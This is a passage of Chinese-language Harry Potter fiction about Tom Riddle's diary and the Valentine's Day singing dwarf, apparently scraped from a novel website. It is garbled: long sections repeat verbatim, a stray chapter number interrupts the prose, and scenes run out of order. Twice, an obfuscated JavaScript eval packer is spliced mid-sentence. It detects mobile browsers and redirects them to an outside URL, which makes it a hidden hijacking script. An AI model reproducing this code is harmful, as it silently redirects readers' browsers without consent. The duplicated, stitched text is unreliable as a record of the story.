“是个绝妙的推理,赫敏,”罗恩说,“只有一点儿美中不足。他的日记里什么也没写。” 赫敏从她的书包里抽出魔杖。 “也许是隐形墨水……”她小声说。 她用魔杖敲了日记三下,说道:“速速现形!” 没有反应。赫敏毫不气馁,又把手伸进书包,掏出一个东西,像一块鲜红色的橡皮。 “这是显形橡皮,我在对角巷弄到的。”她说。 她在“一月一日”上面使劲地擦,结果什么也没有出现。 “告诉你吧,你不会在这里面发现什么的。”罗恩说,“里德尔就是圣诞节左右的某一天得到了一个日记本,并没有花工夫在上面写东西。” 哈利甚至对自己也无法解释,他为什么不把里德尔的日记一扔了之。实际的情况是,他尽管知道日记里是空的,却总是若有所思地把它拿起来,一页页地翻着,就好像这是一个故事,他希望能有一个结局。 哈利虽然肯定自己以前从未听说过“汤·里德尔”这个名字,但心里总觉得这名字对他意味着一些什么,就仿佛里德尔是他小时候的一个朋友,已经被他淡忘——然而这是荒唐的。他在来霍格沃茨之前一个朋友也没有,德思礼夫妇和达力表哥决不肯让他交到朋友。 尽管如此,哈利还是决定多了解一些里德尔的情况。第二天课间休息时,他朝奖品陈列室走去,想仔细看看里德尔的特别奖牌。他后面跟着兴趣盎然的赫敏,以及完全抱着怀疑态度的罗恩。罗恩对他们说,他对奖品陈列室早就看腻了,一辈子不想再看。 里德尔的那个擦得铿亮的金色奖牌,收在墙角的一只陈列柜里。它上面并没有详细说明为什么要颁发给里德尔。(“幸亏如此,不然奖牌就更大了,我擦到现在都擦不完呢。”罗恩说)不过,他们在一枚旧的优秀品德奖章和一份昔日的男生学生会主席名单上,都发现了里德尔的名字。 “听起来他很像珀西,”罗恩说着,厌恶地皱起鼻子,“级长,男生学生会主席——还是门门功课第一,甚至比珀西更珀西,他还是魁地奇球队的队长。” “听你说话的口气,似乎这是一件不好的事情。”赫敏以一种略微受到伤害的声音说。 * 二月十四日吃早饭的时候,大家便知道洛哈特是用什么办法鼓舞士气了。哈利前一天晚上训练魁地奇,一直练到很晚,所以睡眠不足,匆匆赶到礼堂时已经有点儿晚了。一时间,他还以为自己走错了门。 四面墙上都布满了大朵大朵的耀眼的粉红色鲜花。更糟糕的是,还有许多心形的五彩纸屑不停地从浅蓝色的天花板上飘落下来。哈利朝格兰芬多的餐桌走去,罗恩坐在那里,一脸厌恶的表情,赫敏似乎一直在傻笑。 “这是怎么回事?”哈利问他们,一边坐下来,拂去落在他的熏咸肉上的五彩纸屑。 罗恩指着教师的餐桌,显然是厌恶得不想说话。洛哈特穿着与那些装饰品相配的鲜艳的粉红色长袍,挥着手让大家安静。坐在他对面的老师们一个个都板着脸。哈利从他坐的地方可以看见,麦格教授面颊上的一块肌肉突了起来。斯内普的样子,就好像有人刚给他灌了一大杯烈性酒。 “诸位,情人节快乐!”洛哈特大声说,“到现在为止,已有四十六个人向我赠送了贺卡,我谨向他们表示感谢!是的,我自作主张,为大家安排了这一小小的惊喜——而且还不止这些!” 洛哈特拍了拍手,从通往门厅的几道门里大步走进十二个脸色阴沉的矮子。 而且他们不同于一般的矮子,洛哈特让他们都插着金色的翅膀,背着竖琴。“我的友好的、带着贺卡的小爱神!”洛哈特喜气洋洋地说,“他们今天要在学校里到处游荡,给你们递送情人节贺卡!乐趣还不止这些!我相信我的同事们都愿意踊跃地参加进来!为什么不请斯内普教授教你们怎么调制迷魂药呢!如果你们感兴趣的话,弗立维教授比我所见过的任何巫师都更精通使人着迷的魔法,那只狡猾的老狗!” 弗立维教授把脸埋在双手里。看斯内普的神情,似乎如果有谁向他请教迷魂药的制法,准会被强迫灌进毒药。 “赫敏,求求你告诉我,你不是那四十六个人中的一个吧?”当他们离开礼堂,去上第一节课时,罗恩说。赫敏突然兴趣很浓地在书包里翻找她的课程表,没有回答。 整整一天,矮子们不停地闯进他们的教室,递送情人节贺卡,弄得老师们厌烦透顶,下午,当格兰芬多的学生上楼去上魔法课时,一个矮子突然撵上哈利。 “喂,你!哈利·波特!”一位脸色特别阴沉的矮子喊道,用胳膊肘分开众人,朝哈利挤来。 当着一队一年级新生的面——尤其是金妮·韦斯莱碰巧也在里面,收到一张情人节贺卡,这简直太令人恼火了,哈利想逃跑。可是没等他跑出两步,矮子就一路踢着人们的小腿,挤开人群追上了他。 “我有一个配乐的口信要亲自传达给哈利·波特。”矮子说着,用咄咄逼人的架势拨响了竖琴。 “别在这儿。”哈利压低声音说,一边又想逃跑。 “站住别动!”矮子咕哝了一声,一把抓住哈利的书包,把他拉了回来。 “让我走!”哈利吼道,用力拽着书包。 随着一声很响的撕裂声,他的书包被扯成了两半。他的书、魔杖、羊皮纸和羽毛笔稀里哗啦地落到地板上,墨水瓶摔碎在最上面。 哈利趴在地上手忙脚乱,想赶在矮子开始唱歌之前把东西都捡起来,结果造成了走廊里的交通堵塞。 “这是怎么回事儿?”传来了德拉科·马尔福那懒洋洋的、拖腔拖调的声音。哈利开始狂乱地把东西都往被撕裂的书包里塞,不顾一切地想赶紧逃走,不让马尔福听见他的情人节配乐贺礼。 “怎么这么乱?”又传来一个熟悉的声音,珀西·韦斯莱来了。 哈利完全慌了神,只想赶紧逃脱,可是矮子一把抱住他的两个膝盖,使他重重地摔倒在地。 “好了,”他说,一屁股坐在哈利的膝盖上,“这就是你的带歌声的情人节贺礼: 【他的眼睛绿得像刚腌过的癫□□, 他像黑板一样乌黑潇洒, 我希望他是我的,他真的很帅气, 是征服黑魔头的勇士。】 哈利愿意交出古灵阁的所有金子,只希望能当场变作蒸气消失。他勇敢地强迫自己和大家一起哈哈大笑,一边站了起来,他的脚被矮子坐得发麻了。珀西·韦斯莱尽力驱散人群,有些人开心得大喊大叫。 “你们走吧,走吧,上课铃五分钟前就响过了,快去上课吧。”他说着,把年纪较小的学生轰走了。“还有你,马尔福。” 哈利瞥了一眼,看见马尔福弯腰从地上抓起了什么东西。他斜着眼睛,把它拿给克拉布和高尔看,哈利明白了,他捡起来的是里德尔的日记。 “还给我。”哈利小声说。 “想知道波特在里面写了什么吗?”马尔福说,他显然没有注意到封皮上的日期,以为拿到的是哈利自己的日记。围观者们顿时安静下来。 金妮看看日记,又看看哈利,神色惊恐。 “拿过来,马尔福。”珀西严厉地说。 “等我看一眼再说。”马尔福说着,嘲弄地朝哈利挥舞日记。 珀西说:“我作为一个级长——” 可是哈利发脾气了。他抽出魔杖,喊道:“除你武器!” 于是, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13080158|135277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就像斯内普解除了洛哈特的武器一样,马尔福发现日记突然从他手中飞向空中。罗恩开心地笑着,一把抓住了它。 “哈利!”珀西大声地说,“不许在走廊里施魔法。这件事我要汇报的,你知道!” 可是哈利不在乎,他又赢了马尔福一个回合,即使格兰芬多要为此丢掉五分,也是完全值得的。 马尔福看上去气疯了,当金妮从他身边走进教室时,他恶狠狠地冲着她的后背嚷道:“我认为波特不太喜欢你的情人节贺礼!” 金妮双手捂着脸,跑进了教室。罗恩大吼一声,也拔出了他的魔杖,可是哈利把他拉走了。罗恩犯不着整堂魔法课都忙着吐鼻涕虫。 直到他们来到弗立维教授的课堂上,哈利才注意到里德尔先生的日记十分奇怪。他的其他书都染上了鲜红色的墨水。而那本日记,却像以前一样,干干净净的。他想向罗恩指出这一点,但罗恩的魔杖又出了麻烦:魔杖头上喷出大朵大朵的紫色泡泡,弄得他对什么都不感兴趣。 那天晚上,哈利上床比宿舍里其他人都早。这一半是因为他认为他无法忍受弗雷德和乔治再一次高唱“他的眼睛绿得像刚腌过的癞蛤蟆”,另一半是因为他想再仔细研究一下里德尔的日记,他知道罗恩认为他是在浪费时间。 哈利坐在他的四柱床上,翻着那些空白的纸页,上面没有一点儿红墨水的痕迹。然后,他从床头柜里取出一瓶新墨水,将羽毛笔插进去蘸了蘸,让一滴墨水落在日记的第一页上。 墨水在纸上鲜艳地闪耀了一秒钟,接着就好像被纸吸了进去,消失得无影无踪。 哈利兴奋起来,他又将羽毛笔蘸满墨水,写道:“我叫哈利·波特。” 这行文字在纸上闪了闪,也被吸了进去,一点痕迹也没有留下。然后,终于出现了奇迹——纸上突然渗出一些哈利从未写过的文字,字迹工整且秀气,用的正是他的墨水。 【你好,哈利·波特。我名叫汤姆·里德尔。你怎么找到我的日记的?】 这些文字也很快消失了,不过是在哈利开始匆匆写字后才消失的。 “有人想把它扔进厕所里。” 他迫不及待地等着里德尔的回答。 【幸好我用比墨水更持久的方式记录我的往事。我一直知道总有一些人不愿意这本日记被人读到。】 “你是什么意思?”哈利潦草地写,激动得把纸都戳破了。 【我的意思是,这本日记里记载着一些可怕的往事。一些被掩盖的往事。一些发生在霍格沃茨魔法学校的往事。】 “我现在就在这里,”哈利飞快地写着,“我在霍格沃茨学校,这里不断发生可怕的事情。你知道关于密室的事情吗?” 他的心狂跳起来。里德尔很快就回答了,他的笔迹变得凌乱潦草,就好像他迫不及待地要把他知道的一切都说出来。 【我当然知道关于密室的事情。在我那个时候,他们告诉我们说这是一个传说,一个并不存在的东西。但这是谎话。我上五年级时,密室被打开了,怪兽控制了别人,然后伤害了别的学生,最后还弄死了一个。我抓住了那个打开密室的人,他被开除了。但是校长迪佩特教授因为霍格沃茨出了这样的事而感到丢脸,不许我说出真相。他们向外面宣布说,那个姑娘死于一次意外的事故。他们给了我一块刻着字的、金光闪闪的漂亮奖牌,奖励我的辛劳,并警告我不许乱说。但我知道这种事还会发生。怪兽还活着,而那个有能力释放它的人并没有被关起来。】 哈利忙着写话回答,差点把墨水瓶打翻了。 “现在事情又发生了。已经出现了三起攻击事件,似乎没有人知道是谁策划的。上次是谁?” 【如果你愿意,我可以领你去看,】里德尔这样答复。 【你不用看我写的文字。我可以把你带入我的记忆,进入我抓住他的那天晚上。】 哈利迟疑了,羽毛笔悬在日记上方。里德尔是什么意思?他怎么可能被带进别人的记忆?他紧张地朝宿舍门口瞥了一眼,那里渐渐黑了下来。当他的目光回到日记上时,发现又有一行字冒了出来。 【我领你去看。】 哈利只停顿了一下,便立刻写了两个字。 “好吧。” 日记仿佛被一股大风吹着,纸页哗啦啦地翻过,停在六月中旬的某一页。哈利目瞪口呆地看着六月十三日的那个小方块似乎变成了一个微型的电视屏幕。他双手微微颤抖着,把本子举起来,让眼睛贴在那个小窗口上;没等他反应过来是怎么回事,他就向前倾倒过去;窗口正在变大,他觉得自己的身体离开了床铺,头朝前跌进了那一页的豁口,进入了一片飞舞旋转的色彩与光影之中。 他觉得双脚落在了坚实的地面上。他颤抖着站住了,周围模糊的景象突然变得清晰起来。 …… 哈利、罗恩和赫敏早就知道海格不幸对庞大的怪物清有独钟。他们去年在霍格沃茨期间,海格曾经试图在他的小木屋里喂养一条龙,还有那三个脑袋的、被他称为“路威”的大狗,也使他们很长时间不能忘记。 当年,还是一个少年的海格,如果听说城堡的什么地方藏着一个怪物,哈利知道他肯定会想尽一切办法去看它一眼。海格很可能认为,把那怪物囚禁那么久很不像话,应该给它一个机会出来活动活动腿脚;哈利简直可以想象十三岁的海格想给那怪物拴上皮带、套上颈圈。但是哈利也同样相信,海格决不会故意把人害死。 哈利甚至有点希望他没有发现怎样阅读里德尔的日记。罗恩和赫敏一遍遍地叫他讲述他的所见所闻,最后他讲得厌烦了,对之后没完没了的、车轱辘式的谈话也感到腻味透顶。 “里德尔可能找错了人,”赫敏说,“也许是另外一只怪物伤害了人……” “你以为这个地方能关着几个怪物?”罗恩没精打采地问。 “我们早就知道海格是被开除的。”哈利苦恼地说,“自从海格被赶走后,攻击事件一定就停止了。不然的话,里德尔是不会获奖的。” 罗恩试着换个方向。 “里德尔说话的口气很像珀西——说到底,谁叫他去告发海格的?” “但是怪物杀人,罗恩。”赫敏说。 “如果他们关闭霍格沃茨,里德尔就要回到一家麻瓜的孤儿院。”哈利说,“我认为他希望待在这里是情有可原的……” 罗恩咬着嘴唇,然后试探地说:“你上次在翻倒巷遇见了海格,是吗,哈利?” “他正在购买驱除食肉鼻涕虫的药水。”哈利很快地说。 三个人都沉默了。经过长时间的冷场,赫敏迟疑不决地提出了最棘手的一个问题:“你们看,我们是不是应该拿这些事情去问问海格?” “那可是一次愉快的拜访。”罗恩说,“你好,海格,对我们说说,最近你有没有把城堡里某个野蛮的、浑身是毛的东西放出来?” 三个人都沉默了。 “这件事还有疑点。”哈利说,“我感觉里德尔给我看的这一部分记忆被做了处理。我感觉当时应该还有第三个人在场,但是从目前看来,我找不到任何的证据来证明这种错觉。” “那我们再等等吧。”赫敏说,“或许图书馆的旧报纸能够给我答案……现在贸然去问海格也许不是一个明知的决定。” 哈利和罗恩对赫敏的话表示赞同,随着曼德拉草药效的研发,密室的事情也就暂时被搁置了下来。 66.chapter65 “洛哈特是不是你见过的最会溜须拍马的家伙?”罗恩在和哈利离开宿舍开始上楼到城堡去的时候问道。 斯内普给他们布置了一大堆家庭作业,哈利简直以为他要一直到六年级才能做完。罗恩正要说他真后悔没有问问赫敏,应该往生发药剂里加多少根老鼠尾巴才管用,突然他们听见楼上传来一个人愤怒的喊叫。 “是费尔奇。”哈利低声说。他们三步两步奔上楼梯,躲在别人看不见的地方,侧耳细听。 “你认为会不会又有人遭到攻击了?”罗恩紧张地问。 他们一动不动地站着,把头朝费尔奇声音的方向探去,那声音简直有些歇斯底里了。 “……又来给我添麻烦了!拖地拖了整整一晚上,就好像我的活儿还不够干的!不行,这实在令人无法忍受,我要去找邓布利多……” 费尔奇的脚步声渐渐隐去,他们听见远处传来猛烈的关门声。 他们从拐角处探出脑袋。费尔奇显然是在他平常的地方站岗放哨:他们又来到了洛丽丝夫人遭到攻击的地方。他们一眼就看出费尔奇为什么大喊大叫了。一大摊水蔓延了半个走廊,看样子,水还在源源不断地从哭泣的桃金娘的盥洗室的门缝下面渗出来。现在费尔奇不再吼叫了,他们就听见桃金娘的哭喊声在盥洗室的四壁间回荡。 “她这又是怎么啦?”罗恩说。 “我们过去看看。”哈利说,于是他们把长袍提到脚脖子以上,蹚着汹涌蔓延的积水,走向挂着“故障”告示的房门。他们像平常一样,对这个告示视而不见,径直走了进去。 哭泣的桃金娘哭喊的声音居然比以前还要响亮、凄厉,这真是令人不敢相信。她似乎藏在她惯常的那个抽水马桶里。盥洗室里光线昏暗,因为喷涌的水浇灭了蜡烛,并使墙壁和地板都一片潮湿。 “怎么回事,桃金娘?”哈利问。 “你是谁?”桃金娘惨兮兮地说道,“又要用东西砸我?” 哈利蹚水向她的单间走去,说道:“我为什么要用东西砸你?” “别问我,”桃金娘大喊一声冒了出来,又喷出一股更大的水流,泼溅在已经湿透了的地板上,“我在这里待得好好儿的,考虑自己的问题,有人觉得往我身上扔一本书怪好玩的……” “即使有人扔东西砸你,也不会把你砸痛啊。”哈利很理智地说,“我的意思是,那东西可以径直从你身上穿过,是不是?” 哈利说错了话。桃金娘一下子使自己膨胀起来,尖声叫道:“让大家都用书砸桃金娘吧,因为她根本感觉不到!如果你们用书投中她的肚子,得十分!如果投中她的脑袋,得五十分!很好,哈哈,哈哈!多么可爱的游戏,我看不见得!” “那么是谁用书砸你的?”哈利问。 “我不知道……当时我就坐在马桶圈上,想着死亡,那本书就突然从我脑袋上落了下来。”桃金娘狠狠地瞪着他们,说道。“就在那儿呢,全被水泡烂了。” 哈利和罗恩顺着桃金娘指的方向,朝水池下面一看,只见一本小小的、薄薄的书躺在地上。破破烂烂的深蓝色封皮,和盥洗室的每件东西一样,完全湿透了。哈利上前一步,想把它捡起来,可是罗恩突然伸出一只手臂,把他拉住了。 “怎么?”哈利问。 “你疯了吗?”罗恩说,“可能有危险。” “危险?”哈利说着,笑了起来,“别胡扯了,怎么可能有危险呢?” “说出来你会感到吃惊的,”罗恩说,恐惧地看着那本书,“我爸告诉我,有些被魔法部没收的书,其中有一本会把你的眼睛烧瞎。凡是读过《巫师的十四行诗》这本书的人,一辈子都只能用五行打油诗说话。巴斯的一位老巫师有一本书,你一看就永远也放不下来!你走到哪儿都把脸埋在书里,只好学着用一只手做所有的事情。还有——” “好了,我已经明白了。”哈利说。 那本小书躺在地板上,湿乎乎的,模糊不清。 “可是,我们只有看了才会知道啊。”他说,一低头绕过罗恩,把书从地板上捡了起来。 哈利一眼就看出这是一本日记,封皮上已经褪色的日期表明它是五十年前的。哈利急切地翻开,在第一页上,只能认出一个用模糊不清的墨水写的名字: 【汤·里德尔】 “慢着。”罗恩说,“我知道这个名字……里德尔五十年前获得了对学校的特殊贡献奖,还有大大小小的各种魁地奇和学院贡献奖。”他已经小心翼翼地靠上前来,从哈利身后望着日记。 “你怎么会知道的?”哈利诧异地问。 “因为费尔奇罚我留校劳动,叫我给他擦奖牌,一大堆,擦了有大约五十次呢。”罗恩忿忿不平地说,“我那天打嗝把鼻涕虫弄在他的特殊贡献奖上面了,我得把它们擦干净。如果你花整整一个小时擦掉一个名字上的黏液,你也会记住这个名字的。” 哈利撕开潮湿的纸页。一页一页完全是空白,没有丝毫写过字的痕迹,就连“梅布尔姨妈过生日”或“三点半看牙医”之类的字样都没有。 “他一个字也没写。”哈利失望地说。 “我不明白为什么有人要把它扔掉。”罗恩好奇地说。 哈利翻到封底,看见上面印着伦敦沃克斯霍尔路一位报刊经售人的名字。 “里德尔一定是一个麻瓜,”哈利若有所思地说,“所以才会在沃克斯霍尔路买日记本……” “好啦,反正对你也没有多大用处。”罗恩说,放低声音,“如果你能用它投中桃金娘的鼻子,能得五十分。” 然而,哈利却把日记放进了口袋。 * 二月初,赫敏出院了,她的胡须没有了,尾巴没有了,浑身的猫毛也没有了。她回到格兰芬多城堡的第一天晚上,哈利就把汤·里德尔的日记拿给她看了,并原原本本地对她讲了他们找到这本日记的经过。 “哦,它里面可能藏着法术呢。”赫敏兴奋地说,接过日记,仔细地看着。 “如果真是这样,倒隐藏得很巧妙。”罗恩说,“也许它是不好意思见人吧。我不明白为什么你不把它扔掉,哈利。” “我希望知道为什么有人想把它扔掉。”哈利说,“另外,我还很想了解里德尔是如何获得对霍格沃茨的特殊贡献奖的。” “什么都有可能,”罗恩说,“也许他抓住了三十只猫头鹰,或者从大鱿鱼的巨爪下救出了一位老师。也许他谋杀了桃金娘,那一定使大家都感到称心如意……” 可是哈利看到赫敏脸上专注的神色,知道她正在转着和自己同样的念头。 “怎么?”罗恩说,望望哈利,又望望赫敏。 “是这样,密室是五十年前被打开的,是不是?”赫敏说,“马尔福是这么说的。” “是啊……”罗恩慢悠悠地说。 “这本日记也是五十年前的。”赫敏激动地拍着日记。 “那又怎么样?” “哦,罗恩,你醒醒吧。”赫敏毫不客气地说,“你知道,上次打开密室的那个人是五十年前被开除的。我们知道,汤·里德尔是五十年前获得了对学校的特殊贡献奖。那么,里德尔会不会是因为抓住了斯莱特林的继承人而获奖的呢?他的日记很可能会把一切都告诉我们:密室在哪里,怎样打开,里面关着什么样的动物。这次制造这些攻击行为的那个人,不会希望这本日记到处乱放的,是吗?” “是个绝妙的推理,赫敏,”罗恩说,“只有一点儿美中不足。他的日记里什么也没写。” 赫敏从她的书包里抽出魔杖。 “也许是隐形墨水……”她小声说。 她用魔杖敲了日记三下,说道:“速速现形!” 没有反应。赫敏毫不气馁,又把手伸进书包,掏出一个东西,像一块鲜红色的橡皮。 “这是显形橡皮,我在对角巷弄到的。”她说。 她在“一月一日”上面使劲地擦,结果什么也没有出现。 “告诉你吧,你不会在这里面发现什么的。”罗恩说,“里德尔就是圣诞节左右的某一天得到了一个日记本,并没有花工夫在上面写东西。” 哈利甚至对自己也无法解释,他为什么不把里德尔的日记一扔了之。实际的情况是,他尽管知道日记里是空的,却总是若有所思地把它拿起来,一页页地翻着,就好像这是一个故事,他希望能有一个结局。 哈利虽然肯定自己以前从未听说过“汤·里德尔”这个名字,但心里总觉得这名字对他意味着一些什么,就仿佛里德尔是他小时候的一个朋友,已经被他淡忘——然而这是荒唐的。他在来霍格沃茨之前一个朋友也没有,德思礼夫妇和达力表哥决不肯让他交到朋友。 尽管如此,哈利还是决定多了解一些里德尔的情况。第二天课间休息时,他朝奖品陈列室走去,想仔细看看里德尔的特别奖牌。他后面跟着兴趣盎然的赫敏,以及完全抱着怀疑态度的罗恩。罗恩对他们说,他对奖品陈列室早就看腻了,一辈子不想再看。 里德尔的那个擦得铿亮的金色奖牌,收在墙角的一只陈列柜里。它上面并没有详细说明为什么要颁发给里德尔。(“幸亏如此,不然奖牌就更大了,我擦到现在都擦不完呢。”罗恩说)不过,他们在一枚旧的优秀品德奖章和一份昔日的男生学生会主席名单上,都发现了里德尔的名字。 “听起来他很像珀西,”罗恩说着,厌恶地皱起鼻子,“级长,男生学生会主席——还是门门功课第一,甚至比珀西更珀西,他还是魁地奇球队的队长。” “听你说话的口气,似乎这是一件不好的事情。”赫敏以一种略微受到伤害的声音说。 * 二月十四日吃早饭的时候,大家便知道洛哈特是用什么办法鼓舞士气了。哈利前一天晚上训练魁地奇,一直练到很晚,所以睡眠不足,匆匆赶到礼堂时已经有点儿晚了。一时间,他还以为自己走错了门。 四面墙上都布满了大朵大朵的耀眼的粉红色鲜花。更糟糕的是,还有许多心形的五彩纸屑不停地从浅蓝色的天花板上飘落下来。哈利朝格兰芬多的餐桌走去,罗恩坐在那里,一脸厌恶的表情,赫敏似乎一直在傻笑。 “这是怎么回事?”哈利问他们,一边坐下来,拂去落在他的熏咸肉上的五彩纸屑。 罗恩指着教师的餐桌,显然是厌恶得不想说话。洛哈特穿着与那些装饰品相配的鲜艳的粉红色长袍,挥着手让大家安静。坐在他对面的老师们一个个都板着脸。哈利从他坐的地方可以看见,麦格教授面颊上的一块肌肉突了起来。斯内普的样子,就好像有人刚给他灌了一大杯烈性酒。 “诸位,情人节快乐!”洛哈特大声说,“到现在为止,已有四十六个人向我赠送了贺卡,我谨向他们表示感谢!是的,我自作主张,为大家安排了这一小小的惊喜——而且还不止这些!” 洛哈特拍了拍手,从通往门厅的几道门里大步走进十二个脸色阴沉的矮子。 而且他们不同于一般的矮子,洛哈特让他们都插着金色的翅膀,背着竖琴。“我的友好的、带着贺卡的小爱神!”洛哈特喜气洋洋地说,“他们今天要在学校里到处游荡,给你们递送情人节贺卡!乐趣还不止这些!我相信我的同事们都愿意踊跃地参加进来!为什么不请斯内普教授教你们怎么调制迷魂药呢!如果你们感兴趣的话,弗立维教授比我所见过的任何巫师都更精通使人着迷的魔法,那只狡猾的老狗!” 弗立维教授把脸埋在双手里。看斯内普的神情,似乎如果有谁向他请教迷魂药的制法,准会被强迫灌进毒药。 “赫敏,求求你告诉我,你不是那四十六个人中的一个吧?”当他们离开礼堂,去上第一节课时,罗恩说。赫敏突然兴趣很浓地在书包里翻找她的课程表,没有回答。 整整一天,矮子们不停地闯进他们的教室,递送情人节贺卡,弄得老师们厌烦透顶,下午,当格兰芬多的学生上楼去上魔法课时,一个矮子突然撵上哈利。 “喂,你!哈利·波特!”一位脸色特别阴沉的矮子喊道,用胳膊肘分开众人,朝哈利挤来。 当着一队一年级新生的面——尤其是金妮·韦斯莱碰巧也在里面,收到一张情人节贺卡,这简直太令人恼火了,哈利想逃跑。可是没等他跑出两步,矮子就一路踢着人们的小腿,挤开人群追上了他。 “我有一个配乐的口信要亲自传达给哈利·波特。”矮子说着,用咄咄逼人的架势拨响了竖琴。 “别在这儿。”哈利压低声音说,一边又想逃跑。 “站住别动!”矮子咕哝了一声,一把抓住哈利的书包,把他拉了回来。 “让我走!”哈利吼道,用力拽着书包。 随着一声很响的撕裂声,他的书包被扯成了两半。他的书、魔杖、羊皮纸和羽毛笔稀里哗啦地落到地板上,墨水瓶摔碎在最上面。 哈利趴在地上手忙脚乱,想赶在矮子开始唱歌之前把东西都捡起来,结果造成了走廊里的交通堵塞。 “这是怎么回事儿?”传来了德拉科·马尔福那懒洋洋的、拖腔拖调的声音。哈利开始狂乱地把东西都往被撕裂的书包里塞,不顾一切地想赶紧逃走,不让马尔福听见他的情人节配乐贺礼。 “怎么这么乱?”又传来一个熟悉的声音,珀西·韦斯莱来了。 哈利完全慌了神,只想赶紧逃脱,可是矮子一把抱住他的两个膝盖,使他重重地摔倒在地。 “好了,”他说,一屁股坐在哈利的膝盖上,“这就是你的带歌声的情人节贺礼: 【他的眼睛绿得像刚腌过的癫□□, 他像黑板一样乌黑潇洒, 我希望他是我的,他真的很帅气, 是征服黑魔头的勇士。】 哈利愿意交出古灵阁的所有金子,只希望能当场变作蒸气消失。他勇敢地强迫自己和大家一起哈哈大笑,一边站了起来,他的脚被矮子坐得发麻了。珀西·韦斯莱尽力驱散人群,有些人开心得大喊大叫。 “你们走吧,走吧,上课铃五分钟前就响过了,快去上课吧。”他说着,把年纪较小的学生轰走了。“还有你,马尔福。” 哈利瞥了一眼,看见马尔福弯腰从地上抓起了什么东西。他斜着眼睛,把它拿给克拉布和高尔看,哈利明白了,他捡起来的是里德尔的日记。 “还给我。”哈利小声说。 “想知道波特在里面写了什么吗?”马尔福说,他显然没有注意到封皮上的日期,以为拿到的是哈利自己的日记。围观者们顿时安静下来。 金妮看看日记,又看看哈利,神色惊恐。 “拿过来,马尔福。”珀西严厉地说。 “等我看一眼再说。”马尔福说着,嘲弄地朝哈利挥舞日记。 珀西说:“我作为一个级长——” 可是哈利发脾气了。他抽出魔杖,喊道:“除你武器!” 于是, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13081699|135277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就像斯内普解除了洛哈特的武器一样,马尔福发现日记突然从他手中飞向空中。罗恩开心地笑着,一把抓住了它。 “哈利!”珀西大声地说,“不许在走廊里施魔法。这件事我要汇报的,你知道!” 可是哈利不在乎,他又赢了马尔福一个回合,即使格兰芬多要为此丢掉五分,也是完全值得的。 马尔福看上去气疯了,当金妮从他身边走进教室时,他恶狠狠地冲着她的后背嚷道:“我认为波特不太喜欢你的情人节贺礼!” 金妮双手捂着脸,跑进了教室。罗恩大吼一声,也拔出了他的魔杖,可是哈利把他拉走了。罗恩犯不着整堂魔法课都忙着吐鼻涕虫。 直到他们来到弗立维教授的课堂上,哈利才注意到里德尔先生的日记十分奇怪。他的其他书都染上了鲜红色的墨水。而那本日记,却像以前一样,干干净净的。他想向罗恩指出这一点,但罗恩的魔杖又出了麻烦:魔杖头上喷出大朵大朵的紫色泡泡,弄得他对什么都不感兴趣。 那天晚上,哈利上床比宿舍里其他人都早。这一半是因为他认为他无法忍受弗雷德和乔治再一次高唱“他的眼睛绿得像刚腌过的癞蛤蟆”,另一半是因为他想再仔细研究一下里德尔的日记,他知道罗恩认为他是在浪费时间。 哈利坐在他的四柱床上,翻着那些空白的纸页,上面没有一点儿红墨水的痕迹。然后,他从床头柜里取出一瓶新墨水,将羽毛笔插进去蘸了蘸,让一滴墨水落在日记的第一页上。 墨水在纸上鲜艳地闪耀了一秒钟,接着就好像被纸吸了进去,消失得无影无踪。 哈利兴奋起来,他又将羽毛笔蘸满墨水,写道:“我叫哈利·波特。” 这行文字在纸上闪了闪,也被吸了进去,一点痕迹也没有留下。然后,终于出现了奇迹——纸上突然渗出一些哈利从未写过的文字,字迹工整且秀气,用的正是他的墨水。 【你好,哈利·波特。我名叫汤姆·里德尔。你怎么找到我的日记的?】 这些文字也很快消失了,不过是在哈利开始匆匆写字后才消失的。 “有人想把它扔进厕所里。” 他迫不及待地等着里德尔的回答。 【幸好我用比墨水更持久的方式记录我的往事。我一直知道总有一些人不愿意这本日记被人读到。】 “你是什么意思?”哈利潦草地写,激动得把纸都戳破了。 【我的意思是,这本日记里记载着一些可怕的往事。一些被掩盖的往事。一些发生在霍格沃茨魔法学校的往事。】 “我现在就在这里,”哈利飞快地写着,“我在霍格沃茨学校,这里不断发生可怕的事情。你知道关于密室的事情吗?” 他的心狂跳起来。里德尔很快就回答了,他的笔迹变得凌乱潦草,就好像他迫不及待地要把他知道的一切都说出来。 【我当然知道关于密室的事情。在我那个时候,他们告诉我们说这是一个传说,一个并不存在的东西。但这是谎话。我上五年级时,密室被打开了,怪兽控制了别人,然后伤害了别的学生,最后还弄死了一个。我抓住了那个打开密室的人,他被开除了。但是校长迪佩特教授因为霍格沃茨出了这样的事而感到丢脸,不许我说出真相。他们向外面宣布说,那个姑娘死于一次意外的事故。他们给了我一块刻着字的、金光闪闪的漂亮奖牌,奖励我的辛劳,并警告我不许乱说。但我知道这种事还会发生。怪兽还活着,而那个有能力释放它的人并没有被关起来。】 哈利忙着写话回答,差点把墨水瓶打翻了。 “现在事情又发生了。已经出现了三起攻击事件,似乎没有人知道是谁策划的。上次是谁?” 【如果你愿意,我可以领你去看,】里德尔这样答复。 【你不用看我写的文字。我可以把你带入我的记忆,进入我抓住他的那天晚上。】 